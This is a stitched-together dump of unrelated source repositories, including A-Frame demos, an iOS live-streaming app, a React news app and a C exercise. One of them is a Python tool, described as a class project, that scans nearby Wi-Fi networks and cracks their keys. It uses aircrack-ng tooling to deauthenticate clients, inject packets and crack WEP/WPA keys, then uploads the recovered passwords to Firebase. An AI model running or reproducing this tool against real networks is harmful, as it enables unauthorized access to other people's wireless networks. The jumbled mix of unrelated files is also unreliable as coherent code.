aframe-watcher not running. This feature requires a companion service running locally. npm install aframe-watcher to save changes back to file. Read more at supermedium.com/aframe-watcher
<file_sep>/mushroom_spores/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
document.querySelector("a-scene").renderer.gammaOutput=true;
const assetsEl = document.querySelector("a-assets");
assetsEl.addEventListener("loaded", assetsLoaded);
}
function assetsLoaded(e) {
const particles = document.querySelectorAll("[particle-system]");
particles.forEach((p)=>{
p.setAttribute("particle-system", "enabled", true);
});
}<file_sep>/best_practice/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded() {
// AFRAME.registerComponent('foo', {
// tick: function () {
// this.doSomething();
// },
// doSomething: (function () {
// var helperVector = new THREE.Vector3();
// var helperQuaternion = new THREE.Quaternion();
// return function () {
// helperVector.copy(this.el.object3D.position);
// helperQuaternion.copy(this.el.object3D.quaternion);
// };
// })()
// });
// AFRAME.registerComponent('foo', {
// init: function() {
// console.log("init");
// },
// tick: function () {
// console.log("tick");
// var el = this.el;
// var rotationTmp = this.rotationTmp = this.rotationTmp || { x: 0, y: 0, z: 0 };
// var rotation = el.getAttribute('rotation');
// rotationTmp.x = rotation.x + 0.1;
// rotationTmp.y = rotation.y + 0.1;
// rotationTmp.z = rotation.z + 0.1;
// el.setAttribute('rotation', rotationTmp);
// }
// });
}
AFRAME.registerComponent('foo', {
init: function() {
console.log("init");
},
tick: function () {
console.log("tick");
var el = this.el;
var rotationTmp = this.rotationTmp = this.rotationTmp || { x: 0, y: 0, z: 0 };
var rotation = el.getAttribute('rotation');
rotationTmp.x = rotation.x + 0.1;
rotationTmp.y = rotation.y + 0.1;
rotationTmp.z = rotation.z + 0.1;
el.setAttribute('rotation', rotationTmp);
}
});<file_sep>/component/log.js
AFRAME.registerComponent('log', {
schema: {
message: { type: "string", default: "Hello, World!" },
event: { type: "string", default: "" },
},
multiple: true,
init: function() {
console.log("init");
// console.log(this.data.message);
var self = this;
this.eventHandlerFn = function(){ console.log(self.data.message) };
},
update: function(oldData) {
console.log("update");
var data = this.data;
var el = this.el;
if ( oldData.event && data.event !== oldData.event ) {
console.log(`update ${oldData.event} != ${data.event}`)
el.addEventListener(oldData.event, this.eventHandlerFn);
}
if ( data.event ) {
console.log(`update ${data.event}`);
el.addEventListener(data.event, this.eventHandlerFn);
} else {
console.log(`update ${data.event}`);
console.log(data.message);
}
},
remove: function() {
console.log("remove");
var data = this.data;
var el = this.el;
if ( data.event ) {
console.log(`remove ${data.event}`);
el.removeEventListener(data.event, this.eventHandlerFn);
}
},
});<file_sep>/domino01/memo.md
routine
https://dova-s.jp/bgm/play12527.html
ボタン・システム音[1] - 木琴
https://soundeffect-lab.info/sound/button/
正解・ピンポン音
https://dova-s.jp/se/play901.html
セレクト音_1
https://dova-s.jp/se/play530.html
物理学を追加する
https://jgbarah.github.io/aframe-playground/physics-01/
<file_sep>/interactions/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
}
var gamepads = {};
function gamepadHandler(event, connecting) {
var gamepad = event.gamepad;
// Note:
// gamepad === navigator.getGamepads()[gamepad.index]
if (connecting) {
gamepads[gamepad.index] = gamepad;
} else {
delete gamepads[gamepad.index];
}
}<file_sep>/ar_yorha/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
} | 32847a4ee4a8874a5bcdbb55068985bb46090895 | [
"Markdown",
"JavaScript"
] | 31 | Markdown | k38/aframe | 5395ee438af23646aa9c99402c9497c329abc7ce | dae8faf41744d7a4724fc03fa341efd189c7966f |
refs/heads/master | <repo_name>augmify/Live<file_sep>/live-ios/Live/R.generated.swift
// This is a generated file, do not edit!
// Generated by R.swift, see https://github.com/mac-cain13/R.swift
import Foundation
import Rswift
import UIKit
/// This `R` struct is code generated, and contains references to static resources.
struct R: Rswift.Validatable {
static func validate() throws {
try intern.validate()
}
/// This `R.color` struct is generated, and contains static references to 0 color palettes.
struct color {
private init() {}
}
/// This `R.file` struct is generated, and contains static references to 1 files.
struct file {
/// Resource file `Raleway-Regular.ttf`.
static let ralewayRegularTtf = FileResource(bundle: _R.hostingBundle, name: "Raleway-Regular", pathExtension: "ttf")
/// `bundle.URLForResource("Raleway-Regular", withExtension: "ttf")`
static func ralewayRegularTtf(_: Void) -> NSURL? {
let fileResource = R.file.ralewayRegularTtf
return fileResource.bundle.URLForResource(fileResource)
}
private init() {}
}
/// This `R.font` struct is generated, and contains static references to 1 fonts.
struct font {
/// Font `Raleway-Regular`.
static let ralewayRegular = FontResource(fontName: "Raleway-Regular")
/// `UIFont(name: "Raleway-Regular", size: ...)`
static func ralewayRegular(size size: CGFloat) -> UIFont? {
return UIFont(resource: ralewayRegular, size: size)
}
private init() {}
}
/// This `R.image` struct is generated, and contains static references to 1 images.
struct image {
/// Image `heart`.
static let heart = ImageResource(bundle: _R.hostingBundle, name: "heart")
/// `UIImage(named: "heart", bundle: ..., traitCollection: ...)`
static func heart(compatibleWithTraitCollection traitCollection: UITraitCollection? = nil) -> UIImage? {
return UIImage(resource: R.image.heart, compatibleWithTraitCollection: traitCollection)
}
private init() {}
}
private struct intern: Rswift.Validatable {
static func validate() throws {
try _R.validate()
}
private init() {}
}
/// This `R.nib` struct is generated, and contains static references to 0 nibs.
struct nib {
private init() {}
}
/// This `R.reuseIdentifier` struct is generated, and contains static references to 0 reuse identifiers.
struct reuseIdentifier {
private init() {}
}
/// This `R.segue` struct is generated, and contains static references to 2 view controllers.
struct segue {
/// This struct is generated for `AudienceViewController`, and contains static references to 1 segues.
struct audienceViewController {
/// Segue identifier `overlay`.
static let overlay: StoryboardSegueIdentifier<UIStoryboardSegue, AudienceViewController, LiveOverlayViewController> = StoryboardSegueIdentifier(identifier: "overlay")
/// Optionally returns a typed version of segue `overlay`.
/// Returns nil if either the segue identifier, the source, destination, or segue types don't match.
/// For use inside `prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?)`.
static func overlay(segue segue: UIStoryboardSegue) -> TypedStoryboardSegueInfo<UIStoryboardSegue, AudienceViewController, LiveOverlayViewController>? {
return TypedStoryboardSegueInfo(segueIdentifier: R.segue.audienceViewController.overlay, segue: segue)
}
private init() {}
}
/// This struct is generated for `BroadcasterViewController`, and contains static references to 1 segues.
struct broadcasterViewController {
/// Segue identifier `overlay`.
static let overlay: StoryboardSegueIdentifier<UIStoryboardSegue, BroadcasterViewController, LiveOverlayViewController> = StoryboardSegueIdentifier(identifier: "overlay")
/// Optionally returns a typed version of segue `overlay`.
/// Returns nil if either the segue identifier, the source, destination, or segue types don't match.
/// For use inside `prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?)`.
static func overlay(segue segue: UIStoryboardSegue) -> TypedStoryboardSegueInfo<UIStoryboardSegue, BroadcasterViewController, LiveOverlayViewController>? {
return TypedStoryboardSegueInfo(segueIdentifier: R.segue.broadcasterViewController.overlay, segue: segue)
}
private init() {}
}
private init() {}
}
/// This `R.storyboard` struct is generated, and contains static references to 2 storyboards.
struct storyboard {
/// Storyboard `LaunchScreen`.
static let launchScreen = _R.storyboard.launchScreen()
/// Storyboard `Main`.
static let main = _R.storyboard.main()
/// `UIStoryboard(name: "LaunchScreen", bundle: ...)`
static func launchScreen(_: Void) -> UIStoryboard {
return UIStoryboard(resource: R.storyboard.launchScreen)
}
/// `UIStoryboard(name: "Main", bundle: ...)`
static func main(_: Void) -> UIStoryboard {
return UIStoryboard(resource: R.storyboard.main)
}
private init() {}
}
/// This `R.string` struct is generated, and contains static references to 0 localization tables.
struct string {
private init() {}
}
private init() {}
}
struct _R: Rswift.Validatable {
static let applicationLocale = hostingBundle.preferredLocalizations.first.flatMap(NSLocale.init) ?? NSLocale.currentLocale()
static let hostingBundle = NSBundle(identifier: "io.ltebean.Live") ?? NSBundle.mainBundle()
static func validate() throws {
try storyboard.validate()
}
struct nib {
private init() {}
}
struct storyboard: Rswift.Validatable {
static func validate() throws {
try main.validate()
}
struct launchScreen: StoryboardResourceWithInitialControllerType {
typealias InitialController = UIViewController
let bundle = _R.hostingBundle
let name = "LaunchScreen"
private init() {}
}
struct main: StoryboardResourceWithInitialControllerType, Rswift.Validatable {
typealias InitialController = NavigationController
let audience = StoryboardViewControllerResource<AudienceViewController>(identifier: "audience")
let broadcast = StoryboardViewControllerResource<BroadcasterViewController>(identifier: "broadcast")
let bundle = _R.hostingBundle
let name = "Main"
func audience(_: Void) -> AudienceViewController? {
return UIStoryboard(resource: self).instantiateViewController(audience)
}
func broadcast(_: Void) -> BroadcasterViewController? {
return UIStoryboard(resource: self).instantiateViewController(broadcast)
}
static func validate() throws {
if _R.storyboard.main().broadcast() == nil { throw ValidationError(description:"[R.swift] ViewController with identifier 'broadcast' could not be loaded from storyboard 'Main' as 'BroadcasterViewController'.") }
if _R.storyboard.main().audience() == nil { throw ValidationError(description:"[R.swift] ViewController with identifier 'audience' could not be loaded from storyboard 'Main' as 'AudienceViewController'.") }
}
private init() {}
}
private init() {}
}
private init() {}
}<file_sep>/live-ios/Live/Model.swift
//
// Model.swift
// Live
//
// Created by leo on 16/7/13.
// Copyright © 2016年 io.ltebean. All rights reserved.
//
import Foundation
class Room: NSObject {
var key: String
init(dict: [String: AnyObject]) {
key = dict["key"] as! String
}
}
class Comment: NSObject {
var text: String
init(dict: [String: AnyObject]) {
text = dict["text"] as! String
}
}
| a938bd975ac4d01b0bc9c75746b22005646f682f | [
"Swift"
] | 2 | Swift | augmify/Live | d67866d0efd034ea68a374b1ddf8b5e951a172da | e236f9d01ffa57d3f7b998b6cc3b5c254eb51c9e |
refs/heads/main | <file_sep># canvas
canvas的一些小demo
| 00e69c2ed09558d124a4bcd80b73d14359dbc0c2 | [
"Markdown"
] | 1 | Markdown | proto1994/canvas | 3fcadfd5e04e762a69abfc0c4ec48eb1690463af | 39115b6bcc304229776c51236a7a314ff798f8a1 |
refs/heads/master | <repo_name>frankleng/react-bodymovin<file_sep>/src/ReactBodymovin.js
const React = require('react')
const bodymovin = require('bodymovin/build/player/bodymovin_light')
class ReactBodymovin extends React.Component {
componentDidMount () {
const options = Object.assign({}, this.props.options)
options.wrapper = this.wrapper
options.renderer = 'svg'
this.animation = bodymovin.loadAnimation(options)
}
componentWillUnmount () {
this.animation.destroy()
}
shouldComponentUpdate () {
return false
}
render () {
const storeWrapper = (el) => {
this.wrapper = el
}
return <div className='react-bodymovin-container' ref={storeWrapper} />
}
}
module.exports = ReactBodymovin
| 70dcf92b3d732d0751d558cc8c73c675dd81cfb9 | [
"JavaScript"
] | 1 | JavaScript | frankleng/react-bodymovin | 2a19a12d41da54a6a931176ede3cdc9ecda4bd9c | 929d3a06563af7cd5df97d713463be0f76df32d4 |
refs/heads/master | <file_sep>import React, { Component } from 'react';
import { Link,Redirect } from 'react-router-dom';
class SelectContent extends Component {
constructor(props){
super(props);
this.state = {
isRedirect : false,
dummyClass : false
}
}
componentDidMount() {
return localStorage.clear()
}
handleLinkClick = (e,index) => {
this.setState({isRedirect:true})
this.props.handleBtnClick(e,index)
}
handleDummyClick = () => {
this.setState({dummyClass: !this.state.dummyClass})
}
render() {
const {selectedSources,sources, handleSourceClick,isClicked} = this.props
const {isRedirect, dummyClass} = this.state
const toggleBtn = selectedSources.length > 0 ?'btn btn-active':'btn';
const toggleOne = dummyClass === true ? 'toggle active' : 'toggle'
if(isRedirect === true){
return <Redirect to='/dashboard'/>
}
return (
<div className="source-container">
<div className="source-grid">
{sources ? sources.map((source,index) => {
const toggle = isClicked.includes(index) ? 'toggle active' : 'toggle'
const id = source.id
return <li
key={index}
id={id}
className={toggle}
onClick={(e)=> handleSourceClick(e,index)}
/>
}):null}
<li id="yahoo"
className={toggleOne}
onClick={this.handleDummyClick}
/>
</div>
<Link to='/dashboard' className={toggleBtn} onClick={this.handleLinkClick}>Continue</Link>
</div>
);
}
}
export default SelectContent;
<file_sep>import React, { Component } from 'react';
import SignIn from '../SignIn/SignIn';
import { Switch, Route } from 'react-router-dom';
import {getSources,findBySource} from '../../Services/Calls';
import Dashboard from '../Dashboard/Dashboard';
import SelectContent from '../SelectContent/SelectContent';
class Container extends Component {
constructor(){
super();
this.state = {
sources : [],
selectedSources : [],
isClicked : [],
removeSource : [],
isRedirect : false
}
}
async componentDidMount() {
try {
const resp = await getSources();
this.setState({sources:resp})
} catch (error) {
throw error
}
}
componentWillUnmount(){
this.setState({
isRedirect:false,
selectedSources:[],
isClicked:[]
})
}
handleSourceClick = async (e,index) => {
const { selectedSources,isClicked } = this.state;
const {id} = e.target
let selectSource = selectedSources
let clickSource = isClicked
if(!isClicked.includes(index) && !selectedSources.includes(id)){
selectSource = [...selectSource, id]
clickSource = [...clickSource, index]
this.setState({
selectedSources: selectSource,
isClicked: clickSource
})
} else {
selectSource.splice(id,1);
clickSource.splice(index,1);
this.setState({
selectedSources: selectSource,
isClicked: clickSource
})
}
}
handleBtnClick = async(e) => {
e.preventDefault()
const {selectedSources} = this.state
const resp = await findBySource(selectedSources)
return localStorage.setItem('articles', JSON.stringify(resp))
}
render() {
const { sources, selectedSources, isClicked} = this.state;
return (
<div>
<Switch>
<Route exact path='/' component={SignIn}/>
<Route exact path='/dashboard'
component={(props)=>
<Dashboard {...props}
selectedSources={selectedSources}
/>
}/>
<Route exact path='/sources'
component={(props)=>
<SelectContent {...props}
selectedSources={selectedSources}
handleSourceClick={this.handleSourceClick}
sources={sources} isClicked={isClicked}
handleBtnClick={this.handleBtnClick}
/>
}/>
</Switch>
</div>
);
}
}
export default Container;<file_sep>import React, { Component } from 'react';
import newsIcon from '../../assets/images/newsIcon.png'
import Trending from '../Trending/Trending'
class TrendingHeader extends Component{
constructor() {
super();
this.state = {
isclicked: false
}
}
handleClick = () =>{
if(this.state.isclicked === false){
this.setState({
isclicked: true
})
}
else{
this.setState({
isclicked: false
})
}
}
render(){
return(
<div className='trending-container' onClick={this.handleClick}>
<div className='trending-header'>
<h3>Trending</h3>
<div className='trending-items'>
<div className='trend-item'>
<img src={newsIcon} alt=""/>
<h4>LYFT</h4>
</div>
<div className='trend-item'>
<img src={newsIcon} alt=""/>
<h4>BREXIT</h4>
</div>
<div className='trend-item'>
<img src={newsIcon} alt=""/>
<h4>BITCOIN</h4>
</div>
<div className='trend-item'>
<img src={newsIcon} alt=""/>
<h4>US-CHINA</h4>
</div>
</div>
</div>
{this.state.isclicked ? <Trending /> : null}
</div>
)
}
}
export default TrendingHeader<file_sep>import React, { Component } from 'react';
import {getTrending} from '../../Services/Calls';
import moment from 'moment';
class Trending extends Component {
constructor() {
super();
this.state = {
trending: []
}
}
async componentDidMount() {
try {
const resp = await getTrending();
console.log(resp);
return this.setState({trending:resp})
} catch (error) {
throw error
}
}
handleclick = e => {
const {name} = e.target
}
render() {
const { trending } = this.state
return (
<ul>
{trending ? trending.map((trend,index) => {
return <div className='trending-ctn' key={index}>
<div className='trend-article-header'>
<h2>{trend.source.name}</h2>
<h4>{moment(trend.publishedAt).format('MM/DD HH:mm A')}</h4>
</div>
<a href={trend.url} target="_blank"><h1>{trend.title}</h1></a>
<p>{trend.description}</p>
</div>
}): <li></li>}
</ul>
);
}
}
export default Trending;<file_sep>import React, { Component } from 'react';
import Header from '../Header/Header';
import TrendingHeader from '../TrendingHeader/TrendingHeader'
import SelectContent from '../SelectContent/SelectContent';
import moment from 'moment';
class Dashboard extends Component {
constructor(){
super();
this.state = {
articles: []
}
}
componentDidMount() {
setInterval(()=> {
const articles = JSON.parse(localStorage.getItem('articles'))
this.setState({articles : articles })
},1000)
}
render() {
const {articles} = this.state
const allArticles = articles ? articles.map((article,index) =>{
return <div className='article-container' key={index}>
<h3>Business</h3>
<div className='article-info'>
{article.urlToImage === null ? <div></div> : <img src={article.urlToImage} alt="article"/>}
<h2>{article.source.name}</h2>
<h1>{article.title}</h1>
<h4>{moment(article.publishedAt).format('MM/DD HH:mm A')}</h4>
<p>{article.description}</p>
<a href={article.url} target="_blank">READ MORE</a>
</div>
</div>
}) : <div className='article-container' style={{marginTop: '4em'}}>
<h1>Articles loading...</h1>
</div>
return (
<div className='dashboard-main'>
<Header />
<div className='dashboard-container'>
<TrendingHeader/>
{allArticles}
</div>
</div>
);
}
}
export default Dashboard;<file_sep>import React, { Component } from 'react';
import { Redirect, Route,Switch } from 'react-router-dom'
import Dashboard from '../Dashboard/Dashboard';
import SelectContent from '../SelectContent/SelectContent';
class SignIn extends Component {
constructor(props){
super(props);
this.state = {
username : '',
password : '',
isAuthenticated: false,
isValid : true
}
}
handleFormChange = e => {
const {name, value} = e.target;
this.setState({[name]:value,isValid:true})
}
handleSubmit = e => {
const {username, password} = this.state;
e.preventDefault();
if(username.length >= 3 && password.length >= 3){
this.setState({isAuthenticated:true})
} else {
this.setState({isAuthenticated:false, isValid:false})
}
}
handleCloseModal = () => {
this.setState({isValid:true})
}
render() {
const { username,password,isAuthenticated,isValid } = this.state
const modalToggle = isValid === true ? 'modal' : 'modal active'
if(isAuthenticated === true){
return <Redirect to='/sources'/>
}
return (
<div className="signin-container">
<div className={modalToggle}>
<h4>Invalid username or password!</h4>
<h4>Either must have more than three characters!</h4>
<button onClick={this.handleCloseModal}>Close</button>
</div>
<form className="signin-form" onChange={this.handleFormChange} onSubmit={this.handleSubmit}>
<label htmlFor="username">Username</label>
<input
type="text"
name="username"
placeholder='Username'
defaultValue={username}
onFocus={this.handleCloseModal}
/>
<label htmlFor="password">Password</label>
<input
htmlFor="username"
type="password"
name="password"
placeholder='<PASSWORD>'
defaultValue={<PASSWORD>}
onFocus={this.handleCloseModal}
/>
<button className="signin-btn" type="submit">Sign In</button>
</form>
<Switch>
<Route exact path='/sources' component={SelectContent}/>
<Route exact path='/dashboard' component={Dashboard}/>
</Switch>
</div>
);
}
}
export default SignIn;
<file_sep># Newsies
## Built in collaboration with General Assembly cohorts UX/UI Greyskull and SEI Jeopardy
### Get access to the most current business news and whats trending!
| 19e3d29d6e323712e440cc87582dd0e205167f03 | [
"JavaScript",
"Markdown"
] | 7 | JavaScript | anpato/newsie-test-app | b095b9f736713661bccc9a0705c6aac6e7385902 | 525556e675810e0d2f09ed3df0c2152bcad8843e |
refs/heads/master | <repo_name>cesardaza/ataqueAutoWireless<file_sep>/logica/wpa.py
import os, sys
import subprocess
import time
import pandas as pd
import commands
import signal
class Wpa():
"""docstring fos Wep"""
def __init__(self,red):
self._red = red
def red(self):
return self._red
def atacar(self):
wlan = commands.getoutput('sudo airmon-ng check kill')
comando = 'sudo airmon-ng start wlan1 '+self.red().channel()
wlan = commands.getoutput(comando)
nom = self.red().bssid()
nom = nom.replace(" ","_")
archivo = './datos/'+nom+'/'+nom
print('Empezando la busqueda de handshakes')
comando ='sudo airodump-ng --bssid '+str(self.red().essid())+' --channel '+str(self.red().channel())+' --write '+archivo+' wlan1mon'
airodump = subprocess.Popen(comando,shell=True,preexec_fn=os.setsid)
time.sleep(2)
print('lanzando la desautenticacion')
comando = 'sudo aireplay-ng -0 15 -a '+self.red().essid()+' wlan1mon'
aireplay = subprocess.Popen([comando],stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True,preexec_fn=os.setsid)
aireplay.wait()
print('Capturando handshake')
time.sleep(120)
airodump.terminate()
airodump.kill()
os.killpg(os.getpgid(airodump.pid),signal.SIGTERM)
comando = 'sudo john --incremental:Digits --stdout | aircrack-ng -b '+self.red().essid()+' '+archivo+'-01.cap'+' -w - > '+archivo+'contrasena'
print(comando)
print('Descifrando la contrasena')
result = subprocess.Popen(comando,shell=True,preexec_fn=os.setsid)
time.sleep(60)
result.terminate()
result.kill()
os.killpg(os.getpgid(result.pid),signal.SIGTERM)
comando = 'cat '+archivo+'contrasena |grep "KEY FOUND"'
salida = commands.getoutput(comando)
salida = str(salida)
print(salida)
if salida != '':
self.red().set_contrasena(salida)
else:
print('Caduco el tiempo del ataque, la contrasena no pudo ser descifrada')
self.red().set_contrasena('El tiempo del ataque ha caducado y no se pudo recuperar la contrasena')
self.habilitarWlan()
def habilitarWlan(self):
wlan = commands.getoutput('sudo airmon-ng stop wlan1mon')
wlan = commands.getoutput('sudo ifconfig wlan1 up')<file_sep>/logica/wep.py
import os, sys
import subprocess
import time
import pandas as pd
import commands
import signal
class Wep():
"""docstring fos Wep"""
def __init__(self,red):
self._red = red
def red(self):
return self._red
def atacar(self):
wlan = commands.getoutput('sudo airmon-ng check kill')
comando = 'sudo airmon-ng start wlan1 '+self.red().channel()
wlan = commands.getoutput(comando)
nom = self.red().bssid()
nom = nom.replace(" ","_")
archivo = './datos/'+nom+'/'+nom
print('Ejecutando la captura de paquetes')
comando = 'sudo airodump-ng --bssid '+str(self.red().essid())+' --channel '+str(self.red().channel())+' --write '+archivo+' wlan1mon'
airodump = subprocess.Popen(comando,shell=True,preexec_fn=os.setsid)
time.sleep(20)
nomArchivo = archivo+'-01.csv'
dt = pd.read_csv(nomArchivo)
if len(dt.get_values()) < 3 :
print('No se encontro un host para la inyeccion de paquetes')
self.red().set_contrasena('No hay host para la inyeccion de paquetes')
os.killpg(os.getpgid(airodump.pid),signal.SIGTERM)
else:
print('Ejecutando la inyeccion de paquetes')
comando = 'sudo aireplay-ng -3 -b'+self.red().essid()+' -h '+str(dt.get_values()[2][0])+' wlan1mon'
aireplay = subprocess.Popen(comando,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True,preexec_fn=os.setsid)
time.sleep(60)
comando = 'sudo aircrack-ng '+archivo+'*.cap > '+archivo+'contrasena'
print('Descifrando la contrasena')
result = subprocess.Popen(comando,shell=True,preexec_fn=os.setsid)
time.sleep(60)
result.terminate()
result.kill()
airodump.terminate()
airodump.kill()
aireplay.terminate()
aireplay.kill()
os.killpg(os.getpgid(result.pid),signal.SIGTERM)
os.killpg(os.getpgid(airodump.pid),signal.SIGTERM)
os.killpg(os.getpgid(aireplay.pid),signal.SIGTERM)
comando = 'cat '+archivo+'contrasena |grep "KEY FOUND"'
salida = commands.getoutput(comando)
salida = str(salida)
print(salida)
if salida != '':
print('contrasena: ',salida)
self.red().set_contrasena(salida)
else:
print('Caduco el tiempo del ataque, la contrasena no pudo ser descifrada')
self.red().set_contrasena('El tiempo del ataque ha caducado y no se pudo recuperar la contrasena')
commands.getoutput('sudo rm replay_arp*')
self.habilitarWlan()
def habilitarWlan(self):
wlan = commands.getoutput('sudo airmon-ng stop wlan1mon')
wlan = commands.getoutput('sudo ifconfig wlan1 up')<file_sep>/main.py
import RPi.GPIO as GPIO
import time
import threading
from logica import controlador,ap,wep,wpa,wpa2
#poner modo BCH
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
#definir pines como salida
GPIO.setup(18, GPIO.OUT)
GPIO.setup(23, GPIO.OUT)
GPIO.setup(22, GPIO.OUT)
GPIO.setup(25, GPIO.OUT)
GPIO.setup(12, GPIO.OUT)
def apagarleds():
GPIO.output(18, GPIO.LOW)
GPIO.output(23, GPIO.LOW)
GPIO.output(22, GPIO.LOW)
GPIO.output(25, GPIO.LOW)
GPIO.output(12, GPIO.LOW)
def clearLeds():
GPIO.cleanup()
def prenderVerde():
GPIO.output(18, GPIO.HIGH)
def prenderAmarillo():
GPIO.output(23, GPIO.HIGH)
def prenderAzul():
GPIO.output(22, GPIO.HIGH)
def prenderRojo():
GPIO.output(25, GPIO.HIGH)
def prenderBlanco():
GPIO.output(12, GPIO.HIGH)
def parpadear(arg):
t = threading.currentThread()
cont = 0
while getattr(t,"do_run",True):
if cont%2 == 0:
GPIO.output(arg, GPIO.HIGH)
else:
GPIO.output(arg, GPIO.LOW)
cont = cont + 1
time.sleep(0.5)
if __name__ == '__main__':
#Escaneo y creacion de directorios y registro en firebase de las redes wifi
ledVerde = threading.Thread(target=parpadear,args=(18,))
ledVerde.start()
control = controlador.Controlador()
control.obtenerAps()
control.crearDirectorios()
control.guardarEnFirebase()
ledVerde.do_run = False
ledVerde.join()
prenderVerde()
#Ataque a redes WEP
ledAmarillo = threading.Thread(target=parpadear,args=(23,))
ledAmarillo.start()
redeswep = control.getRedesWep()
for x in redeswep:
ataqueWep = wep.Wep(x)
ataqueWep.atacar()
ledAmarillo.do_run = False
ledAmarillo.join()
prenderAmarillo()
#Ataque a redes WPA
ledAzul = threading.Thread(target=parpadear,args=(22,))
ledAzul.start()
redesWpa = control.getRedesWpa()
for x in redesWpa:
ataqueWpa = wpa.Wpa(x)
ataqueWpa.atacar()
ledAzul.do_run = False
ledAzul.join()
prenderAzul()
#Ataque a redes WPA2
ledRojo = threading.Thread(target=parpadear,args=(25,))
ledRojo.start()
redesWpa2 = control.getRedesWpa2()
for x in redesWpa2:
ataqueWpa2 = wpa2.Wpa2(x)
ataqueWpa2.atacar()
ledRojo.do_run = False
ledRojo.join()
prenderRojo()
ledBlanco = threading.Thread(target=parpadear,args=(12,))
ledBlanco.start()
ledBlanco.do_run = False
ledBlanco.join()
prenderBlanco()
time.sleep(30)
apagarleds()
<file_sep>/logica/ap.py
from firebase import firebase
class Ap:
def __init__(self,essid,channel,bssid,tipo):
self._essid = essid
self._channel = channel
self._bssid = bssid
self._tipo = tipo
self._contrasena = None
def essid(self):
return self._essid
def channel(self):
return self._channel
def bssid(self):
return self._bssid
def tipo(self):
return self._tipo
def contrasena(self):
return self._contrasena
def set_contrasena(self,contrasena):
self._contrasena = contrasena
self.guardarContrasenaFirebase()
def apEqual(self,ap):
if bssid == ap.bssid:
return True
return False
def guardarContrasenaFirebase(self):
fire = firebase.FirebaseApplication("https://redes-wireless.firebaseio.com/",None)
redes = fire.get('/redes-wireless/Redes','')
for x in redes:
if str(redes[x]['essid']) == self.essid():
comando = '/redes-wireless/Redes/'+str(x)
fire.put(comando,'contrasena',self.contrasena())
break<file_sep>/README.md
# ataqueAutoWireless
Proyecto de clase deseguridad informatica, consiste en realizar un ataques automatizados a redes wfi wap,wpa,wpa2
IMPORTANTE-----------------
Se debe crear un directorio datos en el directorio raiz para la ejecucion correcta de la aplicacion.
Utilizar bajo su responsabilidad.
<file_sep>/logica/controlador.py
import commands
import ap
from firebase import firebase
from wifi import Cell
class Controlador:
"""docstring for Controlador"""
def __init__(self):
self._aps = []
self._firebase = firebase.FirebaseApplication("https://redes-wireless.firebaseio.com/",None)
def firebase(self):
return self._firebase
def aps(self):
return self._aps
def addAp(self,ap):
self._aps.append(ap)
#Determina si un AP ya esta guardado en firebase
def buscarRedFirebase(self,essid):
redes = self.firebase().get('/redes-wireless/Redes','')
if not redes == None:
for x in redes:
if redes[x]['essid'] == str(essid):
return True
return False
#Guarda las las redes que estan en self._aps no guarda de nuevo las que ya se hayan registrado en firebase
def guardarEnFirebase(self):
for x in self.aps():
if not self.buscarRedFirebase(x.essid()):
datos = {'essid':x.essid(),'channel':x.channel(),'bssid':x.bssid(),'tipo':x.tipo(),'contrasena':'sin descifrar'}
self.firebase().post('/redes-wireless/Redes',datos)
#escanea las redes wifi disponibles y las cuarda en self._aps
def obtenerAps(self):
cell = Cell.all('wlan1')
for x in xrange(0,len(cell)):
if self.buscarRedFirebase(str(cell[x].address)) == False:
essid = str(cell[x].address)
channel = str(cell[x].channel)
bssid = str(cell[x].ssid)
tipo = str(cell[x].encryption_type)
red = ap.Ap(essid,channel,bssid,tipo)
self.addAp(red)
#Crea los directorios para los archivos de escaneo para cada AP
def crearDirectorios(self):
for x in self.aps():
nom = str(x.bssid())
nom = nom.replace(" ","_")
folder = str(nom)
comando = 'mkdir ./datos/'+folder
direc = commands.getoutput(comando)
commands.getoutput('rm -r ./temp/*')
#Retorna todas las redes wep cargadas en self._aps
def getRedesWep(self):
redesWep = []
for x in self.aps():
if x.tipo() == 'wep':
redesWep.append(x)
return redesWep
def getRedesWpa(self):
redesWpa = []
for x in self.aps():
if x.tipo() == 'wpa':
redesWpa.append(x)
return redesWpa
def getRedesWpa2(self):
redesWpa2 = []
for x in self.aps():
if x.tipo() == 'wpa2':
redesWpa2.append(x)
return redesWpa2
| 10b254a773898e89d5d99fdf58350865f95519b6 | [
"Markdown",
"Python"
] | 6 | Python | cesardaza/ataqueAutoWireless | e66ff8708329530a60909515f1fa6508dfcc9ebf | df80c5c388cebcbcfe2c413b558bf6ba573d5f08 |
refs/heads/master | <repo_name>Tonnika/info3180-lab7<file_sep>/app/__init__.py
from flask import Flask
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
csrf=CSRFProtect(app)
app.config['SECRET_KEY'] = '<KEY>'
from app import views
<file_sep>/app/forms.py
from flask_wtf import Form
from wtforms import TextAreaField, FileField
from wtforms.validators import Length, InputRequired
class UploadForm(Form):
description = TextAreaField('Description', Length(max=80),validators=[InputRequired()])
photo = FileField('Photo')
| 786b049809ca52b6c44afe290972b9a60a435bbe | [
"Python"
] | 2 | Python | Tonnika/info3180-lab7 | fe68cc7421de784f05470140d61e393efa4da7c8 | a6d5995d272937934d18087f9d9a8dd4af851463 |
refs/heads/main | <repo_name>DannasCornell/ejercicios2<file_sep>/README.md
# ejercicios2
Ejercicios del taller de programación
<file_sep>/variables.c
#include <stdio.h> //Standar Input Output
#define vacio 0 //Macro o variable
/*
Descripcion: Uso de variables
Autor: <NAME>.
Date: 6-9-2021
*/
void main(void){
//tipoDato identificador=valorInicial;
int piolin = 0; //Declarando Entero e inicializando variable
const int silvestre = 0; //Declarando Constante entera e inicializaando en 0
#define vacio 0
//printf("Etiqueta formatos", variable);
printf("Mi variable piolín tiene el valor de %i", piolin);
printf("\nMi variable silvestre tiene el valor de %i", silvestre);
printf("\nMi variable vacío tiene el valor de %i", vacio);
piolin = 100;
//silvestre = 200;
#define vacio 100
